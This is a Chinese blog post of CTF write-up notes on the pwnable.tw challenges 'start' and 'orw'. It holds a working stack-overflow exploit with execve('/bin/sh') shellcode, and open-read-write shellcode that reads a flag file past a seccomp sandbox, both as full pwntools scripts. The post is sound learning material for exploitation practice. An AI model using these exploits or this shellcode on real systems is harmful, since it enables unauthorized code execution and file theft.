pwnable_tw笔记

本文最后更新于:2023年11月8日 中午

Pwnable_tw笔记

pwnable开坑了,希望自己能把这个大坑补完,近期和学长交流了一下,受益颇多,也深深感受到了自己水平上的差距,再次清醒认识到自己是蒟蒻(,所以遵从勤能补拙的思路,希望通过多积累和见识题目真正在System方面有所深入

start

拿到手先赶紧进行一个checksec

这里推荐最好用多个工具检查一番,因为看网上有人说peda检测此程序会提示开了NX,实则没有,这样会让做题人徒增烦恼 :thinking:

RELRO(Relocation Read Only):尽量使存储区域只读

接着进行一个IDA的分析

这里可以看到使用了int80方式的系统函数调用方法

INT 80h 系统调用方法

系统调用的过程可以总结如下:
1. 执行用户程序(如:fork)
2. 根据glibc中的函数实现,取得系统调用号并执行int $0x80产生中断。
3. 进行地址空间的转换和堆栈的切换,执行SAVE_ALL。(进行内核模式)
4. 进行中断处理,根据系统调用表调用内核函数。
5. 执行内核函数。
6. 执行RESTORE_ALL并返回用户模式
Linux 32位的系统调用时通过int 80h来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数。

其中int80调用的系统函数编号可以在网络上找到

其中第一个系统调用为将esp(赋给ecx执行)开始的0x14H字节数据写入标准输出,即最终输出Let's start the CTF.

name eax ebx ecx edx
sys_write 0x04 unsigned int fd = 1 const char __user *buf = esp size_t count=14H

第二个系统调用则是从标准输入读取0x3cH字节到栈空间,这里义眼顶针,鉴定为可能可以溢出

name eax ebx ecx edx
sys_read 0x03 unsigned int fd=1 char __user *buf=esp size_t count=3ch

现在我们知道了读入应当使用的是read(1,esp,0x3c),那么下一步就是要找到esp在哪了,通过最后一部分的add esp,14h我们推断start函数使用的是内平栈,几esp距离ret有0x14个字节。我们可以通过gdb来证明猜想。

buf_address

在这里我们看到了buf的地址,再看ret

ret_address

果然就是0x14,所以padding就是'a'*0x14,接下来就是要考虑如何劫持控制流,这里因为保护全没开,所以可以试试ret2shellcode,所以就必须要知道栈的地址,要想泄露栈地址,那么就要考虑使用一下write函数了,当我们在ret的地址填充0x8048089就可以打印出栈的值

1
payload = 'a'*0x14 + p32(0x8048087)

read有60B,我们可以使用的有60B-24B=36B,所以我们还得去找一个断点的payload

1
shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

查看一下其具体作用

这就是在做系统调用,所以只要我们把对应获取shell的系统调用的参数放在对应寄存器中,然后执行int80,就可以执行对应的系统调用,此处我们利用如下方式来getshell

1
execve("/bin/sh", NULL, NULL)

其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。为了4字节对齐,我们用//bin/sh
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

这里我们使用xor ecx,ecx来代替原shellcode中的mov ecx,0

1
2
3
4
5
6
7
8
xor ecx,ecx
xor edx,edx
push edx ;\截断字符串
push 0x68732f6e ; 'n/sh'
push 0x69622f2f ; '//bi'
mov ebx,esp
mov a1,0xb
int 0x80

所以就可以写出如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from inspect import stack
from re import S
from pwn import *

contect.log_level="debug"

p=process('./start')

payload = 'a'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:", payload)
stack_addr = u32(p.recv(4))
print 'stack_addr: ' + hex(stack_addr)

shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
payload = 'a'*0x14 + p32(stack_addr+0x14)+shellcode
p.send(payload)
p.interactive()

成功getshell,最后find一下flag提交即可,大功告成

start_success

orw

拿到手这次吸取上个题的经验,先进行一个checksec

彳亍,看来pwnable确实对新手最友好,那就继续拖入IDA进行分析

看到了orw_seccmop()函数,进入查看是关于系统内部的调用prctl的进程创建和管理内容,不太理解含义,遂Google之,发现是关于沙箱保护的函数,通过这一函数可以划定程序准许用户态调用的系统函数,相当于划定白名单,即题目所言仅开启了open、write、read。这里我们可以用seccomp查看其保护规则。

通过分析可知,本题是直接执行了用户remote传来的shellcode,但是通过沙箱机制只授予了write, read, open权限,所以我们需要通过这三个操作获取到flag的值,而flag具体位置在题目里面已经给出了。结合题目意思,可以使用open函数打开flag文件,然后read读出文件内容,最后write输出到控制台。

后面的思路就很简单了,我们只需要调用其open-read-write过程读取出/home/orw/flag下的内容并输出即可,这里有两种方式解决。

0x01. shellcraft一把梭

shellcraft是一种自动化生成shellcode的工具,只需要你了解pwn的过程和方法,可以大部分避开手搓汇编的过程,放到这个题目里面个人猜测出题人也是想要通过这个方式来解决,因为本题flag路径以及getshell方式已经很明确了(o-r-w),所以我们废话少说,立马开始写shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.log_level="debug"

p=remote('chall.pwnable.tw', 10001)
p.recvuntil(':')

s= ''
s+=shellcraft.open("/home/orw/flag")
s+=shellcraft.read('eax','ebp',0x100)
s+=shellcraft.write(1,'ebp',0x100)
s+= '''
\nnext:
jmp next'''
p.send(asm(s))
p.interactive()

这样就可以直接getshell

0x02. 手搓汇编

鉴于MTCTF因为汇编不熟造成的惨痛经历,个人认为汇编基础还是要牢牢把握,刚好看到也有师傅手搓的WP,遂计划照猫画虎,自己也学习一下。

我们选择x86 syscall构造出 open read write

  • open(file='esp', oflag='O_RDONLY', mode=0)
    
    1
    2
    3
    4
    5

    - 这里可以直接用pwntools给出的写法

    - ```
    read(fd, buf, length)
    - `eax` 是 0x3 - `fd` 存在 `open()` 的回传結果 (`eax`) - `buf` 在 `esp` - `length` 为 60,任意数值,能够覆盖flag即可
  • ```
    write(stdout, buf, length)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35

    - `eax`0x4
    - `stdout`1
    - `buf` 是刚刚读取的 `esp`
    - `length`60,参照read的length

    可以得出的汇编代码如下

    ```assembly
    /* push '/home/orw/flag\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f77
    push 0x726f2f65
    push 0x6d6f682f
    /* open(file='esp', oflag='O_RDONLY', mode=0) */
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    /* call open() */
    xor eax,eax;
    mov al,0x5;
    int 0x80;
    /*call read()*/
    mov ebx,eax;
    xor eax,eax;
    mov al,0x3;
    mov ecx,esp;
    mov dl,0x30;
    int 0x80;
    /*call write()*/
    mov al,0x4;
    mov bl,1;
    mov dl,0x30;
    int 0x80;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.log_level="debug"

p=remote('chall.pwnable.tw', 10001)
#p=process('./start')

print hex(u32('ag'+chr(0)+chr(0)))+hex(u32('w/fl'))+hex(u32('e/or'))+hex(u32('/hom'))
p.recvuntil(':')
shellcode='''
push 0x1010101;
xor dword ptr [esp], 0x1016660;
push 0x6c662f77;
push 0x726f2f65;
push 0x6d6f682f;
mov ebx,esp;
xor ecx,ecx;
xor edx,edx;
xor eax,eax;
mov al,0x5;
int 0x80;
mov ebx,eax;
xor eax,eax;
mov al,0x3;
mov ecx,esp;
mov dl,0x30;
int 0x80;
mov al,0x4;
mov bl,1;
mov dl,0x30;
int 0x80;
'''

#payload = 'a'*0x14 + p32(stack_addr+0x14)+shellcode
p.send(asm(shellcode))
p.interactive()

也可得出最终结果


pwnable_tw笔记
https://www.0error.net/2022/09/51647.html
作者
Jiajun Chen
发布于
2022年9月17日
许可协议